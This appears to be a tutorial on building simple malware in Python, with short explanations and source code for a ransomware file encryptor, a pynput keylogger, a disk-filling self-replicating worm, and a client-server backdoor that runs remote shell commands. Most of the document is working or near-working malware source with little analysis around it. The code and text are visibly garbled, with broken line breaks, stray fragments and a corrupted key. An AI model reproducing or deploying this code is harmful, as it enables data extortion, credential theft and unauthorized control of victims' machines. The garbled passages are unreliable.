Reverse Engineering and Malware Analysis

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RANSOMWARE

it is a malicious software or computer virus, upon triggering which will encrypt the files and data in the disk and asks for ransom(money) in exchange to decrypt the data.

HOW SIMPLE RANSOMWARE MADE WITH PYTHON:

First a private public key pair is generated using libraries which supports algorithm rsa

Then generated public key and private key is encoded with base64 so that reverse engineers and malware analysist can't easily find the keys.

Then a recursive function will scan the directories and files and encrypt those data with public keyand delete those original files

Based on malware author this malware can have GUI with countdown and other graphic interfacewith payment gateway embedded can be included.

SAMPLE CODE:

```
Import base64
import os
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES

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with open('public.pem', 'rb') as f:
    public = f.read()
print(base64.b64encode(public))
""

# public key with base64 encoding
pubKey =
""LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUIJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ
0FR0EFNSUICQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM2lzNwpyOTdTRGRnaWtrckswNE1sc3ora
HY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRTh4Ckx0VE55UVNSMDR
2d
zBGcGRwU3Y1YVVjbysxRmtwRjRMdCtqV1Q0YjVrTUFqWTRkOW5Yb3IRQmxJbzBWckMwQzIKcldpe
kl0NGV1TXBTbll3V2Z0a2]sZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rNllnWEozb
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WJLdAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbkUvYTJkZVhvRThRaFZOTUV5Z0xVQ

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W1tdGduWnBrR0NQNlpDVDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t"
pubKey = base64.b64decode(pubKey)
def scanRecurse(baseDir):
     Scan a directory and return a list of all files
     return: list of files
     for entry in os.scandir(baseDir):
          if entry.is_file():
               yield entry
          else:
               yield from scanRecurse(entry.path)
def encrypt(dataFile, publicKey):
     use EAX mode to allow detection of unauthorized modifications
     # read data from file
     with open(dataFile, 'rb') as f:
          data = f.read()
     # convert data to bytes
     data = bytes(data)
     # create public key object
     key = RSA.import_key(publicKey)
     sessionKey = os.urandom(16)
     # encrypt the session key with the public key
     cipher = PKCS1_OAEP.new(key)
     encryptedSessionKey = cipher.encrypt(sessionKey)
     # encrypt the data with the session key
     cipher = AES.new(sessionKey, AES.MODE_EAX)
     ciphertext, tag = cipher.encrypt_and_digest(data)
     # save the encrypted data to file
     [fileName, fileExtension] = dataFile.split('.')
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mF3NERYaWRCbXBiCnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlB

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encryptedFile = fileName + '_encrypted.' + fileExtension
          with open(encryptedFile, 'wb') as f:
                [f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag,
     ciphertext)]
          print('Encrypted file saved to ' + encryptedFile)
     fileName = 'test.txt'
     encrypt(fileName, pubKey)
def decrypt(dataFile, privateKeyFile):"'
     use EAX mode to allow detection of unauthorized modifications'"
     # read private key from file
     with open(privateKeyFile, 'rb') as f:privateKey =
          f.read()
          # create private key object
          key = RSA.import_key(privateKey)
     # read data from file
     with open(dataFile, 'rb') as f:# read the
          session key
          encryptedSessionKey, nonce, tag, ciphertext = [f.read(x) for x in(key.size_in_bytes(), 16, 16, -1)]
     # decrypt the session key cipher =
     PKCS1_OAEP.new(key)
     sessionKey = cipher.decrypt(encryptedSessionKey)
     # decrypt the data with the session key
     cipher = AES.new(sessionKey, AES.MODE_EAX, nonce)data =
     cipher.decrypt_and_verify(ciphertext, tag)
     # save the decrypted data to file
     [fileName, fileExtension] = dataFile.split('.') decryptedFile = fileName +
     '_decrypted.' + fileExtensionwith open(decryptedFile, 'wb') as f:
          f.write(data)
     print('Decrypted file saved to ' + decryptedFile)
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KEYLOGGER:

This type of malware is installed indirectly by other malware or installed directly by malicious hacker. This malware will log all the keystrokes entered by the users in the pc or will log the keystrokes only when particularly entering the credentials.

HOW SIMPLE KEYLOGGER IS MADE BY PYTHON

Using pynput library the keystrokes can be captured. those keystrokes can be locally stored in the pcor remotely stored in the cloud or hackers pc.

Those reading and writing of file (file handling) can be done by os library.

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SAMPLE CODE:
import pynput
import os
from pynput.keyboard import Key, Listener
#function defines actions on the key pressdef
on_press(key):
     print(key)
     write_file(key)
     if key == Key.esc:
          clear_file() return
          False
#function writes each key to a filedef
write_file(key):
     #gives the path of the directory this program is inpth =
     os.path.dirname(os.path.realpath(_file_))
     #specify the name of the file to write tofile_name =
     "log.txt"
     #combines the previous two varibales to get the full path of the log.txt fileaddress =
     os.path.join(pth,file_name)
     #open file in append mode
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with open(address, "a") as f:
          #replace single quotes with nothingk =
          str(key).replace(""","")
          #Key.Space will now be logged as a spaceif k ==
          "Key.space":
               f.write('')
          #Key.backspace will now be logged as an asterisk (*)if k ==
          "Key.backspace":
               f.write('*')
          #Key.enter will now be logged as a spaceif k ==
          "Key.enter":
               f.write('')
          #will exclude all other "non-standard" keys that begin with "Key" #and write only the
          "normal", alpahbetical keys
          elif k.find("Key") == -1:
               f.write(k)
#function clears the log.txt file to prep it for its next usedef clear_file():
     #exact same method of obtaining log.txt file path as write_file()pth =
     os.path.dirname(os.path.realpath(_file__))
     file_name = "log.txt"
     address = os.path.join(pth,file_name)
     #clears the log file
     with open(address, "r+") as f:f.truncate(0)
          f.seek(0)
with Listener(on_press=on_press) as listener:
     listener.join()
```

WORMS

A worm is a type of malicious software or malware that is capable of self-replicating and spreadingacross computer networks without requiring any user interaction. It is designed to exploit

vulnerabilities in computer systems, allowing it to infect other.

HOW SIMPLE WORMS IS MADE IN PYTHON:

This worm will replicate the files and fill the space in the disk with duplicate files.

Shutil is one of the library which is used to copy the files contents. which will ne used to copy the files from given directory to targeted directory with mentioned no. of copies.

This worm will replicate itself by creating new instance of above file duplicating function for various directory.

SAMPLE CODE:

```
def list_directories(self,path): self.target_dir_list.append(path)
               files_in_current_directory = os.listdir(path)
               for file in files_in_current_directory:
                               # avoid hidden files/directories (start with dot (.))if not
                               file.startswith('.'):
                                               # get the full path
                                               absolute_path = os.path.join(path, file)print(absolute_path)
                                              if os.path.isdir(absolute_path): self.list_directories(absolute_path)
                                               else:
                                                              pass
def create_new_worm(self):
               for directory in self.target_dir_list:
                               destination = os.path.join(directory, ".worm.py")
                               # copy the script in the new directory with similar nameshutil.copyfile(self.own_path,
                               destination)
def copy_existing_files(self):
               for directory in self.target_dir_list: file_list_in_dir =
                               os.listdir(directory)for file in file_list_in_dir:
                                              abs_path = os.path.join(directory, file)
                                              if not abs_path.startswith('.') and not os.path.isdir(abs_path):source = abs_path
                                                              for i in range(self.iteration):
                                                                              destination = os.path.join(directory, ("."+file+str(i))) shutil.copy file(source, in the context of the conte
                                                                              destination)
def start_worm_actions(self):
               self.list_directories(self.path)
```

BACKDOOR:

A backdoor is a hidden method or entry point in a computer system or software application that allows unauthorized access and control of the system without going through normal authenticationor security mechanisms. It is typically created by developers or attackers to bypass normal securitymeasures and gain privileged access to a system.

HOW SIMPLE BACKDOOR IS MADE IN PYTHON:

Basically Backdoor is a socket communication, consist of client and server script running on both pc.Here server can be hacker or compromised system based on the situation.

Both script will create a connection and bind to it and listen to it.

This way hacker can able to communicate to the compromised system.

SAMPLE CODE:

SERVER

```
class Server:
    def ___init__(self, host_ip, host_port):self.host_ip =
        host_ip self.host_port = host_port

def start_conn(self):
        print("########################")
        print("###################")
        print("####################")
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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server.bind((self.host_ip,self.host_port))
          print("Msg: Server Initiated...") print("Msg:
          Listening to the Client")
          server.listen(1)
          self.client, self.client_addr = server.accept()
          print("Msg: Received Connection from", self.client_addr)
     defonline_interaction(self):while True:
               interface = '[+] '+ str(self.client_addr[0]) + ":sh$ "command = input(interface)
               print(command) self.client.send(command.encode())
               recv_data = self.client.recv(1024).decode()if recv_data
               == b"":
                    continue
               print("\n", recv_data, "\n")
     def offline_interaction(self,list_of_commands):
          self.client.send(str(list_of_commands).encode())recv_data =
          self.client.recv(1024).decode() print("Received output data
          from Client\n\n") print(recv_data)
if___name____== '__main__':
     server = Server('127.0.0.1', 4000)
     server.start_conn() server.online_interaction()
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CLIENT:
import socket import
subprocessimport ast
class Victim:
    def___init__(self, server_ip, server_port):self.server_ip =
         server_ip self.server_port = server_port
    def connect_to_server(self):
         print("###############"")
         print("######### Client Program #######")
         print("###############")
         self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         print("Msg: Client Initiated...") self.client.connect((self.server_ip,
         self.server_port))print("Msg: Connection initiated...")
    defonline_interaction(self):while True:
             print("[+] Awaiting Shell Commands...") user_command =
             self.client.recv(1024).decode()# print("received command:
             $ ", user_command)
             op = subprocess.Popen(user_command, shell=True, stderr=subprocess.PIPE,
stdout=subprocess.PIPE)
             output = op.stdout.read() output_error =
             op.stderr.read()
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print("[+] Sending Command Output...")

if output == b"" and output_error == b"":

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def offline_interaction(self):
          print("[+] Awaiting Shell Command List...") rec_user_command_list =
          self.client.recv(1024).decode() user_command_list =
          ast.literal_eval(rec_user_command_list)
          final_output = ""
          for command in user_command_list:
               op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE,
stdout=subprocess.PIPE)
               output = op.stdout.read() output_error =
               op.stderr.read()
               final\_output += command + "\n" + str(output) + "\n" +
str(output_error) + "\n\n"
          self.client.send(final_output.encode())
if___name____== '__main__':
     choice = "online" # "offline" victim =
     Victim('127.0.0.1', 4000)
     victim.connect_to_server()
     if choice == "online": victim.online_interaction()
     else:
          victim.offline_interaction()
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self.client.send(b"client_msg: no visible output")else:

self.client.send(output + output_error)